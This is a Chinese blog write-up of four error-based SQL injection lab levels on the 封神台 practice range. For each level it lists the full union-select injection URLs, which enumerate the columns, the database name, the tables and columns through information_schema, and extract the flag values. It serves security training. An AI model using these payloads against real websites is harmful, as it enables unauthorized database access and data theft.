封神台SQL注入-显错注入

一、原理

  1. 判断注入点
  2. 判断当前页面字段总数
  3. 判断显示位
  4. 查当前数据库
  5. 查表名
  6. 查列名
  7. 查字段内容

Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
information_schema.tables 存放表名和库名的对应
information_schema.columns 存放字段名和表名的对应
[注: information_schema.tables 实际上是选中information_schema库中的tables表] (库.表 => 选中库中的表)

二、作业

(一) SQL注入-显错注入Rank 1

页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1
任务:
通过显错注入获得flag
对该页面进行GET传参,传参名为id

  1. 判断注入点
    访问http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=2-1
    返回页面与原始页面一致
    可以判定存在SQL注入

  2. 判断当前页面字段总数
    原始URL后添加 and 1=1 order by 1,2,3,4,5……,依次测试。
    发现1,2,3均有效,4返回no found
    SQL语句返回字段有三个

  3. 判断显示位
    原始URL后添加 and 1=2 union select 1,2,3
    有效URL为:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,2,3

    即显示位为第二个字段和第三个字段

  4. 查当前数据库
    使用database()测试当前数据库
    访问http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,2,database()

    可知当前数据库为error

  5. 查表名
    原始URL之后添加 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=error limit 0,1,查看库中有哪些表
    获得库中有表user和error_flag

  6. 查列名
    推断题目要求的flag在表error_flag中
    现在查询表中的列名
    访问URL:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27error%27%20and%20table_name=%27error_flag%27%20limit%200,1
    获得表error_flag有字段Id和flag
    flag即为所寻找的字段

  7. 查字段内容
    从error库的表error_flag的flag字段查询答案
    访问:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,id,flag%20from%20error_flag
    返回

    将zKaq-98K提交,发现不对。继续查询其他的falg字段数据
    访问:http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,id,flag%20from%20error_flag%20limit%200,1
    返回

    将zKaQ-Nf提交,正确

(二) SQL注入-显错注入Rank 2

页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1
任务:
通过显错注入获得flag
对该页面进行GET传参,传参名为id

  1. 判断注入点
    由SQL语句中id参数为包含单引号的字符
    访问http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1%E2%80%98%20–%20q
    返回页面与原始页面一致
    可以判定存在SQL注入

  2. 判断当前页面字段总数
    原始URL后添加’ and 1=1 order by 1,2,3,4,5…… – q,依次测试。
    发现1,2,3均有效,4返回no found
    SQL语句返回字段有三个

  3. 判断显示位
    原始URL后添加’ and 1=2 union select 1,2,3 – q
    有效URL为:http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1%27%20and%201=2%20union%20select%201,2,3%20–%20q

    即显示位为第二个字段和第三个字段

  4. 查当前数据库
    使用database()测试当前数据库
    访问http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1%27%20and%201=2%20union%20select%201,2,database()%20–%20q

    可知当前数据库为error

  5. 查表名
    原始URL之后添加’ and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=‘error’ limit 0,1 – q,查看库中有哪些表
    获得库中有表user和error_flag

  6. 查列名
    推断题目要求的flag在表error_flag中
    现在查询表中的列名
    访问URL:http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1%27%20and%201=2%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27error%27%20and%20table_name=%27error_flag%27%20limit%200,1%20–%20q
    获得表error_flag有字段Id和flag
    flag即为所寻找的字段

  7. 查字段内容
    从error库的表error_flag的flag字段查询答案
    访问:http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1%27%20and%201=2%20union%20select%201,id,flag%20from%20error_flag%20–%20q
    返回

    将zKaq-98K提交,发现不对。继续查询其他的falg字段数据
    访问:http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1%27%20and%201=2%20union%20select%201,id,flag%20from%20error_flag%20limit%201,1%20–%20q
    返回

    将zKaQ-BJY提交,正确

(三) SQL注入-显错注入Rank 3

页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1
任务:
通过显错注入获得flag
对该页面进行GET传参,传参名为id

  1. 判断注入点
    由SQL语句中id参数为包含(’’)的字符
    访问http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1%27)%20and%201=1%20–%20q
    返回页面与原始页面一致
    可以判定存在SQL注入

  2. 判断当前页面字段总数
    原始URL后添加’) and 1=1 order by 1,2,3,4,5…… – q,依次测试。
    发现1,2,3均有效,4返回no found
    SQL语句返回字段有三个

  3. 判断显示位
    原始URL后添加’) and 1=2 union select 1,2,3 – q
    有效URL为:http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1%27)%20and%201=2%20union%20select%201,2,3%20–%20q

    即显示位为第二个字段和第三个字段

  4. 查当前数据库
    使用database()测试当前数据库
    访问http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1%27)%20and%201=2%20union%20select%201,2,database()%20–%20q

    可知当前数据库为error

  5. 查表名
    原始URL之后添加’) and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=‘error’ limit 0,1 – q,查看库中有哪些表
    获得库中有表user和error_flag

  6. 查列名
    推断题目要求的flag在表error_flag中
    现在查询表中的列名
    访问URL:http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1%27)%20and%201=2%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27error%27%20and%20table_name=%27error_flag%27%20limit%200,1%20–%20q
    获得表error_flag有字段Id和flag
    flag即为所寻找的字段

  7. 查字段内容
    从error库的表error_flag的flag字段查询答案
    访问:http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1%27)%20and%201=2%20union%20select%201,id,flag%20from%20error_flag%20–%20q
    返回

    将zKaq-98K提交,发现不对。继续查询其他的falg字段数据
    访问:http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1%27)%20and%201=2%20union%20select%201,id,flag%20from%20error_flag%20limit%202,1%20–%20q
    返回

    将zKaQ-XiaoFang提交,正确

(四) SQL注入-显错注入Rank 4

页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1
任务:
通过显错注入获得flag
对该页面进行GET传参,传参名为id

  1. 判断注入点
    由SQL语句中id参数为包含("")的字符
    访问http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1%22)%20and%201=1%20–%20q
    返回页面与原始页面一致
    可以判定存在SQL注入

  2. 判断当前页面字段总数
    原始URL后添加") and 1=1 order by 1,2,3,4,5…… – q,依次测试。
    发现1,2,3均有效,4返回no found
    SQL语句返回字段有三个

  3. 判断显示位
    原始URL后添加") and 1=2 union select 1,2,3 – q
    有效URL为:http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1%22)%20and%201=2%20union%20select%201,2,3%20–%20q

    即显示位为第二个字段和第三个字段

  4. 查当前数据库
    使用database()测试当前数据库
    访问http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1%22)%20and%201=2%20union%20select%201,2,database()%20–%20q

    可知当前数据库为error

  5. 查表名
    原始URL之后添加") and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=‘error’ limit 0,1 – q,查看库中有哪些表
    获得库中有表user和error_flag

  6. 查列名
    推断题目要求的flag在表error_flag中
    现在查询表中的列名
    访问URL:http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1%22)%20and%201=2%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27error%27%20and%20table_name=%27error_flag%27%20limit%200,1%20–%20q
    获得表error_flag有字段Id和flag
    flag即为所寻找的字段

  7. 查字段内容
    从error库的表error_flag的flag字段查询答案
    访问:http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1%22)%20and%201=2%20union%20select%201,id,flag%20from%20error_flag%20–%20q
    返回

    将zKaq-98K提交,正确。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值